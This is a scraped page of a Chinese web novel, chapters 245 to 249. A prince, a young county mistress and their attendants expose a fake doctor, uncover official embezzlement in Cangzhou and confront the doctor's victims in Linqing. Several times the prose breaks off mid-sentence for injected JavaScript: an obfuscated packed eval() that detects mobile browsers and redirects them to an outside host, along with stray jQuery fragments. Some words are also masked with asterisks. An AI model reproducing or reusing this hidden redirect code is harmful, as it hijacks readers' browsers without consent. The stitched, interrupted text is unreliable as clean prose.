$(''.inform'').remove();
$(''#content'').append(''
,清脆刺耳的锣声瞬间压过了市集的喧嚣,吸引了无数好奇的目光。
张大夫被这巨大的声响震得头晕眼花,有些想吐。
“诸位父老乡亲!走过路过都来看看喽!”停云嗓音清亮,声音清晰地传遍四周。
“今日我等活捉一窝心肝烂透的骗子。专靠装病卖惨来骗取各位善心人的血汗钱!”
他指着被捆成一串,面如死灰的三人,朗声道:“这老大夫,根本不通医术,满口谎话!”
张大夫“唔唔”想要张嘴辩解。
他会医术!
只是不精而已!
停云又指向那个脸脏兮兮的孩子:“再看看这可怜孩子,刚才还哭得快断气,说他娘快病死,都是假的。这会儿精神着呢!全是演给你们看的!”
“还有这好心给银钱的妇人,更是同伙,专演好心人给银子骗你们一块掏钱。”
“他们方才就在前街,用那老掉牙的重病无钱给娘亲医治的套路,骗了不知多少好心人的银子!”
人群顿时一片哗然。
先前曾掏钱相助的汉子正好在此地。
听完停云的话气得脸色发白,指着骗子破口大骂:“天杀的!你们这群丧良心的东西!还我钱来!”
“揍他们!”
“打死这些黑心肝的骗子!”
群情激愤,集市上的烂菜叶和地上掉落的石子如同雨点般砸向三人。
老大夫被砸得缩头缩脑,孩子吓得哇哇大哭,那妇人更是涕泪横流,拼命想躲却动弹不得,狼狈不堪。
停云见火候已到,再次敲响破锣:“诸位乡亲息怒,这等败类自有王法收拾。咱们这就押送他们去官府,请青天大老爷重重治罪!也请被骗了银钱的乡亲,跟着一块去衙门作证!”
在一片唾骂声和叫好声中,停云押着如同过街老鼠般垂头丧气的三人,浩浩荡荡地领着那些群情激奋的百姓们向官府衙门走去。
晏逐星噗嗤一笑。
停云这一招真不错,直接将骗子的行径公之于众,这样一传十,十传百,下回再遇上这样的骗局,百姓们也能长个心眼了。
停云他们将骗子送去官府,一番折腾下来,日头已微微西斜。
晏逐星几人这才真正得了清闲,慢悠悠地逛起了沧州城。
第245章 怎么又是你
几人信步而行,沿着河岸闲逛。
河面上舟船往来有些稀疏,显得格外宁静。岸边晾晒的渔网,在斜阳下拉出长长的影子。
走到一处老字号熟食铺子前,阵阵浓郁的卤香勾起了几人的食欲。
晏逐星抬头望去,只见招牌上写着“王记百年老汤”六个大字。
伙计见有客来,麻利地揭开一口大锅的锅盖,一瞬间香气扑鼻而来。
只见锅里焖煮着一只只色泽酱红油亮、形态饱满的烧鸡。
跟在身后的双鲤咽了咽口水。
停云瞧见她的馋样,得意地介绍了起来:“这是沧州很出名连镇烧鸡,骨肉酥烂,过往的客人来了总会带上一只。”
“哟,这位客官倒是个懂行的!我和你说,这全沧州最好吃的烧鸡,就是咱们王记的了。你去别的地方也能买到烧鸡,但绝对买不到咱家这么好吃的。”铺子里的伙计笑呵呵地搭话。
听到这话,双鲤眨巴着眼睛看向了晏逐星。
晏逐星笑着点了点头,双鲤赶忙掏钱:“来一只烧鸡!”
“诶,哪里用得着你们掏钱。我来我来。”停云赶忙把她的银子按了回去,主动付钱,要了两只烧鸡。
“好咧。”伙计用厚厚的油纸仔细包好两只烧鸡递了过来。
谢翊宁虽在京中尝遍珍馐,但这般粗犷鲜香、带着浓浓烟火气的食物却少见。
他好奇地接过了一只。
那烧鸡入手温热,隔着纸都能闻到醉人的香气。
撕开一条腿,果然骨肉轻易分离,鸡肉酥烂入味,鲜美异常。
“确实不错!”谢翊宁夸赞了一句。
晏逐星也赞同地点了点头。
没走多远,又见街角一个不起眼的包子铺前围了些人,蒸笼里热气腾腾。
不等晏逐星他们发问,停云就主动介绍了起来:“这是沧州特产冬菜包子。冬菜咸鲜微辣,剁碎拌入肉馅或素馅做包子,是当地一绝。”
谢翊宁瞥了他一眼:“你知道的倒是挺多。”
“嘿嘿。”停云憨憨一笑,“属下一到沧州就和当地人打听了什么好吃,什么好玩。”
为的就是王爷和县主一问他就能答上来。
身为王爷的近身侍卫,这点小事,他当然要做得妥妥当当。
谢翊宁勾起了唇角:“做得不错,回头给你涨月银。”
“多谢王……多谢七公子!”
一激动,停云差点说错了话。
双鲤看着这一幕,瞪大了眼睛。
好家伙,王爷身边的侍卫原来要懂那么多。
是她不够努力了。
下回到了新地方,她也要马上跟本地人打听什么好吃,什么好玩。
身为县主的第一丫鬟,她不能输!
谢翊宁几人要了几个包子尝了尝,发现味道确实不错,在京城吃不着,几人干脆就多买了几个。
一路逛得有滋有味,他们正准备回客栈,就被路边一个推车卖干果的小贩给叫住了。
小贩热情地招呼道:“客人,尝尝咱沧州的金丝小枣,掰开能拉金丝,甜掉牙嘞。”
看着车上堆满了一筐筐饱满的金丝小枣,两人笑着要了一包。
晏逐星拿起一颗小枣轻轻一掰,果肉间果然如同小贩说的那样能拉出缕缕晶莹剔透的金黄色糖丝。
送入口中,她眼睛一瞬间就亮了起来!
“喜欢吗?”谢翊宁柔声询问。
晏逐星连连点头:“皮薄肉厚,甘甜如蜜,这枣子确实好吃。”
听到这话,谢翊宁便当即让停云买下了一整车。
小贩大喜过望,没想到今日竟然遇上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990755|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了这么一个出手阔绰的客人。
“多谢贵人,多谢贵人。”小贩喜不自胜,乐呵呵地把车上的金丝小枣都给了他们。
晏逐星目瞪口呆:“买那么多,不好吧?”
“你爹娘和兄长,想必没有尝过这金丝小枣吧?”谢翊宁反问。
晏逐星一愣,点了点头。
“那就不多。咱们一路给他们带些没尝过的东西,也是一番心意。”谢翊宁微微一笑。
“到时候见面了,你也有话可以和他们说,不会太尴尬。”
晏逐星没想到他考虑得这么周到。
她和爹娘十几年没见了,正怕到时候见了面哭完之后不知道该说什么才好呢,他竟然提前连这个都替她想到了。
一时间千言万语涌上心头,最后只化作了一句简单的“谢谢”。
“你不是说我是自己人么,自己人不用说谢谢。”谢翊宁笑眯眯地揉了揉她的脑袋。
雪团儿没带出来,揉不到。
就揉揉小恩人的脑袋解解馋吧。
几人几乎把沧州逛了个遍,这才回客栈休息。
明日,他们要继续启程了。
睡了一个好觉,谢翊宁一行人退房准备离开沧州。
没想到,正准备出城,就瞧见了昨日被送去官府的张大夫!
“他不是应该呆在大牢里么,怎么就出来了?还一点事都没有?”双鲤脱口而出。
谢翊宁皱起了眉头,看向停云:“把他带来问问。”
“是。”停云应了一声,快步追上了张大夫,揪住了他的后衣领。
“哪个王八蛋……”张大夫正欲破口大骂,回头一看发现是停云,顿时瞪大了眼睛。
“怎么又是你?”
“我也想说,怎么又是你。”停云面无表情地把人揪到了王爷面前。
第246章 是富商小妾
“你怎么没事?”谢翊宁眸光一凝,冷冷地落在了张大夫身上。
依照《大虞律令》,行骗者金额超过一两银子的,拘一个月徭役,杖五十而放行。
而眼前的人,看起来根本不像挨了五十刑杖的模样。
张大夫哭丧着脸跪到了地上。
“贵人饶命啊。”
他怎么那么倒霉,才把全部身家上缴,换了一条生路,怎么又遇到这群煞神。
他把自己**的事情说了出来。
“小人将全副身家八两银子上缴后,官爷给了我一杖,就让我离开了。”
谢翊宁听到这话,眉头锁了起来。
这沧州府衙上下,竟敢如此明目张胆地玩法弄权,视律令如无物?
“那你的同伙呢?”晏逐星开口询问。
张大夫撇了撇嘴,眼里有些不屑,但被停云踹了一脚,他赶忙回答:“我们临时搭伙罢了,又不是亲人,我为何要赎他们。”
说完他不满地嘟哝:“能把我自己捞出来就不错了。那些王八蛋,八两银子犹嫌不足。贪心得很。”
这群杀千刀的,贪不死他们。
谢翊宁听他这话,便意识到沧州贪墨严重。
父皇曾教导过太子哥哥,“水至清则无鱼”,为君之道需懂包容与权衡。
但眼前这沧州之水,显然已经不是清不清的问题,而是黑成墨了。
八两银子,寻常百姓家足以支撑数年的口粮,一个小小的衙役就敢贪墨八两银子放走嫌犯,见微知著,那沧州的知州又得贪了多少银子?
若上头严令禁止**贪腐,下边的人又岂敢这般明目张胆?
谢翊宁打算再在沧州待一天,让人去调查沧州知州贪墨的情况,然后写信命人快马加鞭送回京城告知父皇。
“我们可以再待一天吗?”他扭头询问晏逐星的意见。
毕竟晏逐星想着早点见到爹娘,而他却又要耽误一日的功夫。
他不确定晏逐星愿不愿意陪他一起等。
“自然是没问题的。”晏逐星点了点头。
她明白谢翊宁留下来想要做什么。
有了她这句话,谢翊宁这才下令,整理行囊,回城里再住一晚上。
他们包下了整个客栈。
而后谢翊宁领着停云和带来的暗卫暗中调查起了沧州知州贪腐的事情。
晏逐星闲得无聊,正好对张大夫三人有些好奇,她便把人留下审问。
“你们仨既然不是亲人,又怎会凑到一起行骗?”
张大夫看着她,眼里闪过一丝期待。
“若小的实话实说,您能放了我么?”
晏逐星仰头扔了一个金丝小枣到嘴里,笑眯眯地看着他:“好呀,没问题。”
有了她这话,张大夫便把所有的事情都和盘托出了。
他本名张春回,并非沧州人士,乃是临清人。
他背井离乡潜逃是因为治**一个人,他不想赔钱,所以逃了。
看见晏逐星眼神变冷,他忙道:“真不能怪我啊,那人神仙来了也难救。我都说了不一定能救活,他们非要我试。我试完之后,他**,他爹娘非要我赔钱,这哪能怪我啊。”
他说完心虚地低下了头,不敢看晏逐星的眼睛。
若不是他想多挣点银子,耽误了那汉子的病情,那汉子还是能救的。
他理亏所以心慌,这才逃了。
“那妇人和小孩,又是怎么回事?”晏逐星又问。
“那女的叫三娘,是我在路上遇到的一个富商的小妾。”张春回说起别人的事情,那就是滔滔不绝了。
富商小妾?
九栀和双鲤对视一眼,完全没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998053|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看出那妇人有当小妾的潜质。
那身段这么敦实,怎么看都和他们印象里的小妾大不相同。
瞧瞧侯府的三位姨娘,或是清丽,或是娇艳,总而言之长相和身段那都是比普通人强的。
这三娘怎么就成了小妾,还被赶出来了?
“那富商一直无子,听闻三娘的母亲连生了七个孩子,是出了名的好孕又多子。三娘长得一副好生养的模样,富商他娘便把三娘纳入府里,指望她开枝散叶。”
“结果三娘入了府,富商对她长相不喜,宠幸她的次数少得可怜。她呆了两年,还是没怀上,富商的老娘就把她给赶出府了。”
“她想回娘家,但娘家人不让,她无处可去,正好遇上了我。我说要来沧州讨生活,她便也跟着来了。”
晏逐星若有所思。
张春回瞥了她一眼,继续道:“至于那孩儿,叫狗剩。他无父无母,我们遇到他的时候,他正在路边乞讨。我瞧着他乞讨**颇有一套,便多看了几眼。”
“然后就被他缠上了。”
“他想跟我学医。”
“但我初来乍到,自己都没站稳脚跟,哪里能收徒。”
“况且这沧州大夫遍地都是,我一个外乡人,看病的功夫也是马马虎虎,所以没什么人找我看。”
“走投无路,我这才动了歪心思,和他们一块行骗。”
张春回说完,小心翼翼地看了晏逐星一眼:“贵人,我都说完了,我可以走了吗?”
“可以。”晏逐星点了点头。
张春回大喜过望,连连道谢:“多谢贵人,多谢贵人。”
九栀和双鲤不解,这样的骗子怎么能就把他给放了呢。
这可不是县主的性格啊。
只见张春回刚走出屋子没两步,晏逐星就开口了。
第247章 阴沟翻船了
“九栀,把他抓回来,等七公子发落。”
九栀当即点头:“得令!”
刚踏出屋子没两步的张春回就被他给揪回来了。
张春回暴跳如雷,一脸崩溃地看向晏逐星:“不是说好了放我走吗?”
晏逐星点点头,一脸认真:“对呀。我答应放你走了,但没说放你走之后不把你抓回来呀。”
张春回:“……”
得,阴沟里翻船了。
“你治死的那人叫什么名字?家住哪里?”晏逐星开口询问。
他们去青州,要途经临清,届时正好把张春回给衙役的那八两银子要回来,补偿给那家人。
这才是他的银子该去的地方。
张春回知道自己跑不掉了,垂头丧气地把姓氏和地址报了出来。
晏逐星这才摆摆手,命人将他关了起来。
夜半三更,谢翊宁方才归来。
踏入客栈,就看到晏逐星在灯下捧着一本书,脑袋一点、一点,像是小鸡啄米,似乎在犯困。
他脚步一顿,惊讶道:“你怎么还没睡?”
晏逐星听到他的声音猛地惊醒,手中的书滑落。
她揉了揉有些发酸的眼睛,看清是谢翊宁,脸上立刻绽开一个毫无防备的的笑容,脱口而出:“王爷没回来,我睡不着。”
话音落下,她就打了个小小的哈欠。
谢翊宁看着她困得迷糊还强撑着等自己的样子,心头像是被什么东西轻轻撞了一下,软乎乎的。
他快步走到桌边,屈指轻轻敲了下她的额头,调侃道:“都困成这样了,还说睡不着?”
被他一敲脑门,晏逐星总算彻底回神。
她后知后觉地意识到自己刚刚那话说得好像有些怪怪的,赶忙重新组织语言:“我是怕王爷回来,有事需要相商,所以特此等候。”
谢翊宁听到这话,盯着她的眼睛没说话。
晏逐星被他看得有些不自在。
谢翊宁眉眼舒展,唇角弯起一个清晰好看的弧度。
他一字一句道:“你刚刚是在关心本王?”
晏逐星听到这话松了一口气。
她还以为永安王要说什么呢。
她抬起头对上他含笑的眼,立刻用力点头,语气笃定又理所当然:“我当然关心王爷啦!您和我一块儿出的门,若是您在外头有个闪失,皇上皇后那边我拿什么交代?”
“交代?”谢翊宁唇边的笑意淡了几分,重复着这两个字,心头莫名掠过一丝极淡的不开心。
这话听着是理,可不知为何像根细小的刺轻轻扎了他的心头一下,让他总觉得有些不痛快。
但他也懒得深究这是为何。
毕竟如今天色太晚,小恩人都困成这样了,他得抓紧时间把话说完,让她早些休息。
“今日之事已经差不多了。人证物证都有了。明日让停云派人快马加鞭把所有的证据、口供连同那个人证,一并秘密押送回京。”谢翊宁快速地把今日做的事情交代完毕。
查清沧州贪墨案件的速度比他预想的还快些。
他微服出巡,没有惊动当地的官员,因而他们毫无防备。
这帮蠹虫仗着天高皇帝远,养肥了胆子,上上下下从知州到衙役,都还沉浸在往日的太平里。
他们的麻痹大意,给了他绝佳的机会。
再加上停云那一身出神入化的轻功,潜入知州书房重地未惊起半分波澜,搜罗关键证据的过程,顺利得近乎不可思议。
他们还抓了一个管着库房的老吏。
那老吏一看到永安王府的玉牌,吓得魂飞魄散,问什么倒什么,只说自己是听上头命令行事,他没贪多少,连连求饶。
谢翊宁押着他录了口供,让他称病不去衙门,准备把他押送回京。
如此这般,也算人证物证俱全。
“至于剩下的事,就不是咱们在这能料理的了。这沧州的烂摊子,到底怎么掀,怎么收拾,就等父皇的旨意吧。”谢翊宁的语气变得轻快了许多。
查个案子,真是把他累得够呛。
还好以后他不用当皇帝。
他莫名想起了大理寺卿那越来越秃的脑门,忽然有些担心起了太子。
太子哥哥日后要是变成大理寺卿那样“寸草不生”……
那也太惨了。
听完他这番话,晏逐星安心了不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003332|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少。
她想起了被关在客栈柴房里的张春回,开口道:“对了,那个骗子大夫呢?王爷打算怎么处理?”
“这点小事明日再说。”谢翊宁抬手揉了揉她的脑袋,“你年纪小,正是长身体的时候,熬夜伤身,别强撑了,快去睡吧。”
他都这么说了,晏逐星老老实实起身,伸了个懒腰,冲他点点头:“那王爷也早点休息。”
“好。”谢翊宁点头,目送她进了屋子关上房门,这才吹熄了油灯,带着一身轻松回房回了自己的房间。
他感觉今日调查线索的那些疲倦,在见到晏逐星笑脸的那一瞬间就消失殆尽了。
嗯,今夜一定能做个美梦。
*
翌日清晨。
张春回被揪了出来。
他跪在地上求爷爷告奶奶:“二位贵人就放过我这一回吧,我真的知道错了,以后都不敢骗人了!”
晏逐星扭头看向谢翊宁:“七哥,你觉得呢?”
谢翊宁已经听说了张春回逃到沧州的原因,明白她的话外之意。
若是就这样放了他,说不定会误了他们的大事。
于是他沉声道:“既是如此,那便将他带到临清,让他给那家人赔罪吧。”
听到这话,张春回吓得就要跑:“不,我不回去。”
停云正准备把他扯回来让他继续跪着,就看到双鲤一跃而起,狠狠地踹了他一脚。
“有你说话的份么。你害了人,偿命那是天经地义。主子没发话,你还敢跑?”
众人都有惊讶地看向她。
双鲤骄傲地抬了抬下巴。
她可是立志要当县主身边第一大丫鬟的人。
为此,除了每日雷打不动地跟着县主识字,县主练武时,她也没闲着,眼珠子恨不得黏在县主身上,一招一式也跟着比划。
县主在她眼里那就是九天下凡尘的仙女,救她于水火之中的大大大好人。
因而县主做什么,她便卯足了劲儿学什么。
虽然进度比不上衔蝉和九栀,但好在她很有耐心,现在下盘可比当初刚被接回玉澜院时稳多了。
一脚踹一个老大夫,不在话下!
第248章 哪来的疯子
停云挑眉看向她:“哟,没看出来啊,咱们小阿鲤还挺有劲。”
说完还伸手比划了一下她的身高,发现她只到自己的胸口,嘿嘿一笑。
“你以后可得多吃点饭,长高了,踹人更有劲。”
双鲤横了他一眼。
狗腿子,狗眼看人低了吧。
长得矮怎么了,长得矮也没耽误她踹人啊。
“你吃得多长得高也没见你踹人多厉害啊。”双鲤嘀咕。
听着两人的互动,在场的人都没忍住笑了起来。
唯有地上的张春回笑不出来。
被双鲤噎了一下的停云没想好怎么噎回去,只得瞪了张春回一眼:“喂,大家都笑,老骗子你怎么不笑,是生性就不爱笑么?”
张春回:“……”
哪来的疯子。
不笑也要管?
他挤出一抹比哭还难看的笑,看向晏逐星二人:“贵人,真的非回临清不可么?”
晏逐星点了点头。
谢翊宁也跟着点头。
张春回这下是彻底认命了。
几人收拾好行囊准备离开,谢翊宁忽然给她递了一个钱袋。
晏逐星一愣,打开一看是一张五两的银票和三两的碎银子。
“你不是说,要把这贿赂衙役的银子,赔给那家被他治坏的病人么?”谢翊宁脸上露出了得意的笑。
“我刚刚让人去他那偷回来了。”
晏逐星听到这话“噗嗤”一下就笑出了声。
她怎么也没想到谢翊宁这样的人会为了八两银子干这样“偷偷摸摸”的事情。
确实,他们可以垫这笔钱给那家人,但总没有割张春回的“肉”让他心疼。
晏逐星笑着收下,还特意到张春回面前晃了晃。
“你看,你全身家当都回来了。开心吗?”
张春回瞪大了眼睛。
怎么回事?
这群人到底什么来头,怎么连上交给官爷的钱都能拿得回来?
然而没有人给他解释,只是粗暴地把他栓在了马车后,让他跟着马车跑起来。
出发,去临清咯!
*
几日后,谢翊宁派回京城的人抵达了东宫。
谢元宸刚开始听到是谢翊宁写信回来,还笑着跟太子妃调侃:“也不知道小石头这一路上**不习惯,不会是觉得太辛苦,所以写信回来跟父皇母后撒娇吧。”
“太子未免太小瞧七弟了。”太子妃浅浅一笑。
结果瞧见进来的送信的人拿着的是密封的漆盒,神色凝重,他顿时意识到是有要事。
太子妃顿时意会,温柔起身:“殿下且忙正事,臣妾便不打扰了。”
谢元宸点点头,命人将她送走,而后快速拆开了谢翊宁的信。
看完上边的内容,他脸色顿时变得严肃了起来,当即将人证物证一块领进宫。
御书房里,文昭帝刚批完几本折子,正喝茶呢就听到小太监通传:“太子殿下求见。”
文昭帝有些疑惑,今日的朝政不是已经议过了么,太子怎么又来了。
他当即命人将谢元宸请了进来。
“儿臣参见父皇!”谢元宸草草行了个礼,沉声道,“小石头从沧州递回急信,还有这些。”
他把信和几份最关键的账册、口供一股脑放到御案上。
“沧州那边烂透了!从上到下,贪得没边儿了!”
皇帝放下茶盏,拿起信。
越看,那脸色越难看。
信里写的清清楚楚:一个小破衙役,就敢收八两银子,把刚抓的嫌犯给放了!
这胆子哪来的?
再看那知州府里的账,好家伙,朝廷年年拨下去修河堤、保漕运的银子,一半都进了他们的口袋。
还有那漕粮过境,层层克扣,雁过拔**,运到京城的粮食比账上少了快三成。
“这群混账东西!真是好大的狗胆!”文昭帝猛地一巴掌拍在御案上,震得茶盏哐当乱响,茶水溅了一桌子。
谢元宸赶紧把溅出来的茶水擦了擦,沉声道:“父皇息怒。小石头查得扎实,人证物证都在这儿,铁证如山。儿臣以为当立刻派人去沧州,赶紧把沧州衙门控制住,该抓的抓,该抄的抄,别让他们把证据毁了。”
“还有,他们之所以胆子那么大,会不会上头还有人护着?此事若不严查,定然会危及大虞根本。”
文昭帝见他应对颇有章法,心里顿感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003333|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安慰,怒气也去了三分。
他重重点头应下:“准!你立刻去办,挑靠得住、压得住场的人,带上朕的旨意,快马加鞭赶过去。告诉去的人,给朕狠狠地查。从上到下,一个都别想跑!”
朝廷里,大多数人还不知道谢翊宁出京了。
几日后,上朝时瞧见文昭帝坐在龙椅上,脸色阴沉得能滴出水来,手边还放着一摞厚厚的卷宗。
还以为是谁又欺负了谢翊宁,谢翊宁入宫告状了,所以皇上很不高兴。
顿时一个个夹紧了尾巴做人,生怕是自家小辈干了什么蠢事,去惹了谢翊宁。
准备回头就好好告诫一下家里不懂事的小辈,惹谁都别惹永安王!
众人胆战心惊地汇报完了今日的政事,以为可以退朝了,不曾想,文昭帝直接将手边的卷宗给砸了下来。
“都看看!都给朕好好看看!这就是朕的好臣子!沧州上下,烂成一窝了!”
他“蹭”地站起来,指着下面鸦雀无声的群臣,怒不可遏:“漕运的粮也敢克扣!那是运到京城的军粮民粮!是朝廷的命脉!他们层层扒皮,运到京城,十船粮能少三船!”
文昭帝气得来回踱步。
“这么大的事,竟然无一人来汇报,你们是把朕当瞎子还是当傻子?”
大臣们当即道:“皇上息怒啊。”
文昭帝停下脚步,冷冷地扫了他们一眼,众人顿时噤声。
他沉声道:“传旨!沧州知州及涉案一干人等,即刻锁拿进京!家产抄没!朕要亲自审!”
“户部、工部,凡与沧州河工款、漕运粮有瓜葛的官员,都给朕自查自纠!若是等朕查出来……”
他的话没说完,但已经足够户部和工部的官员头皮发麻了。
“臣等领旨。”
哗啦啦地跪倒了一片人。
*
此时的谢翊宁一行人还不知道他们调查出来的这场贪墨案,在朝中掀起了多少的惊涛巨浪。
他们刚抵达临清见到了被张春回治出问题的徐家人。
看着徐家如今的状况,所有人都惊呆了。
他们没想到,徐家的惨,远比张春回描述的要严重得多。
第249章 徐家的惨事
他们抵达徐家时,把徐家人都吓了一跳。
一个半大的少年挡在了一个小姑娘面前,警惕地看着他们。
瞧见被拖在后边狼狈不堪的张春回,十三岁的徐顺水眼里顿时露出凶光,像是恨不得扑过去生咬下他一块肉来。
十岁的徐秀秀也愤怒地攥紧了拳头。
但看着晏逐星一行人驾着马车,衣着不凡,一看就不是他们能得罪得起的人。
摸不清他们的来意,兄妹二人不敢轻举妄动。
晏逐星命双鲤取来了车上的糕饼,让她递给了那个小姑娘。
徐秀秀咽了咽口水,但没接,紧紧抓着哥哥的胳膊。
“咳咳咳,谁来了?”屋子里传来了一个女子的声音。
徐顺水立刻看向了他们,目光带着警惕和疑惑,但嘴上却回应起娘亲。
“路过的外乡人。”
而后他压低声音道:“你们究竟是什么人?和那姓张的是什么关系?”
提起张春回,他咬牙切齿。
晏逐星温声开口:“我们听闻此人之前治病害**人,正好路过此地,就来问问你们,想不想把他送去蹲监牢。如果想,我可以帮你们。”
说完她又把谢翊宁拿回来的那八两银递给了徐顺水。
“这是他欠你们的,当做赔偿。”
她这一番话让徐顺水和徐秀秀都懵了。
天上掉馅饼了么,他们还能遇上好人?
徐顺水看了一眼钱袋子里的数额,瞬间抓紧了。
有了这笔银钱,娘就有救了,大哥就不用去冒险了。
他哑着嗓子道:“你们说的可是真的?”
“嗯。”晏逐星点了点头。
“恶人就该受到应有的惩罚。”
“没错,他害**我爹,他该死。还害**我阿爷阿奶,呜呜呜呜。”徐秀秀哭得上气不接下气,肩膀一抽一抽的,好几次差点背过气去。
徐顺水也攥紧了拳头,默默流泪。
在她断断续续的哭诉中,围观的众人终于拼凑出了那令人窒息的真相:
徐秀秀的父亲徐守田去年秋收后就开始咳,越咳越凶,后来竟咳出血来了。
村里老郎中看了直摇头,悄悄跟徐家老两口说:“怕是痨病,这病……唉,凶啊。”
徐家人不信,把镇上和县里的大夫请了个遍。
药渣子倒了一筐又一筐,银子流水似的花出去,可徐守田一天比一天气色不好,最后瘦得只剩一把骨头架子。
就在徐家一片愁云惨雾之际,张春回找上门来了。
他拍着胸脯对徐家人打包票:“可巧了,我祖上就传下来专治这肺痨的方子。不敢说十成十,七八成的把握是有的。就是这药引子金贵,得三十两银子才抓得齐。”
三十两,对徐家这样的庄户人家来说那就是一座压**的大山。
先前家里的存银已经花得差不多了。
可看着床上气若游丝的徐守田,徐家阿爷阿奶把心一横,豁出老脸去借。
东家挪半吊钱,西家借一斗米,把能求的人都求遍了,连刚长成的猪崽都提前贱卖了。
秀秀娘高氏把压箱底的几件半新衣裳和娘家陪嫁的一对薄银镯子也全都当了。
一家人勒紧裤腰带,啃着掺了麸皮的野菜团子,好不容易凑齐了三十两银,几乎是跪着捧给了张春回。
只盼着他能把徐守田的命救回来。
钱给了,张春回也真弄来些黑乎乎的药丸子。
徐守田吃了,开头两天似乎咳得轻了点,一家人以为是药起效了,刚觉得有了点盼头,没想到过了几天,徐守田咳得更厉害了,大口大口的血沫子往外咳。
没熬过大年三十,人就走了。
人没了,债还在。
那看病的三十两银子,大半是借的,其中还有利滚利的印子钱。
为了还债,徐秀秀年过六旬的阿爷阿奶,头发都白了,还得咬着牙出去找活干。
阿爷去给地主家扛粮包,压得腰都直不起来;阿奶去富户家浆洗缝补,寒冬腊月里手泡在冰水里,冻得跟胡萝卜似的。
两位老人哪里经得起这样熬。
徐家阿奶先病倒了,没几天就没了。阿爷一口气没上来,跟着也去了,连口薄皮棺材都是邻里凑钱置办的。
接连的丧事像冰雹一样砸下来。
秀秀娘高氏,硬撑着料理完公婆的后事,照顾了孩子一段时间,如今自己也累垮了。
“都是他!都是这个挨千刀的骗子!他害**我爹!逼**我阿爷阿奶!现在还要害死我娘!他不得好死!呜呜呜……”徐秀秀哭得嗓子都哑了。
“好你个黑心烂肺的老东西!”双鲤听完愤怒不已,一个旋身回头一脚正正踢中了张春回的鼻梁。
他的鼻血瞬间流了出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003334|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
双鲤怒骂,唾沫星子都快喷到他脸上了:“你听听!徐家好好一户人家,被你害成什么样了?你还有脸喘气儿?你这种骗子,就该下十八层地狱,让阎王爷拔了你的舌头。”
张春回捂着鼻子想要止住鼻血,眼里含泪,急急替自己分辨:“哎呦!冤枉!天大的冤枉啊!”
他不敢看晏逐星等人,只敢向徐家兄妹,语气带着一丝心虚。
“我当时说得明明白白。我说的是有几分把握,尽力而为。那肺痨可是绝症。我一个走方郎中,又不是神仙。我还能跟阎王爷抢人不成?”
他话音刚落。
一个人影猛地窜出,扑倒他骑到了他身上,抬手狠狠将拳头砸下。
众人这才看清,是一个年纪大约在二十岁的男子,他双目猩红,显然恨透了张春回。
他拳拳到肉,打得张春回鼻青脸肿,连连惨叫。
这突如其来暴击让众人一时间没反应过来,一片哑然。
周遭只剩下拳头砸肉的闷响和张春回凄厉的哀嚎。
“嗷——!!救、救命啊!打**啦!**啦!!”张春回杀猪般的惨叫瞬间变了调。
围观的人没有一个伸出援手。
眼看张春回要被打**,
“大哥!!”徐秀秀第一个反应过来,带着哭腔尖叫,像只受惊的小鹿猛地扑上去,死死抱住那人的胳膊。
几乎是同时,徐顺水也冲了上来。
他用尽全身力气从后面箍住大哥的腰,哭喊道:“大哥,松手啊!不能再打了!打死这种**你还得偿命。”
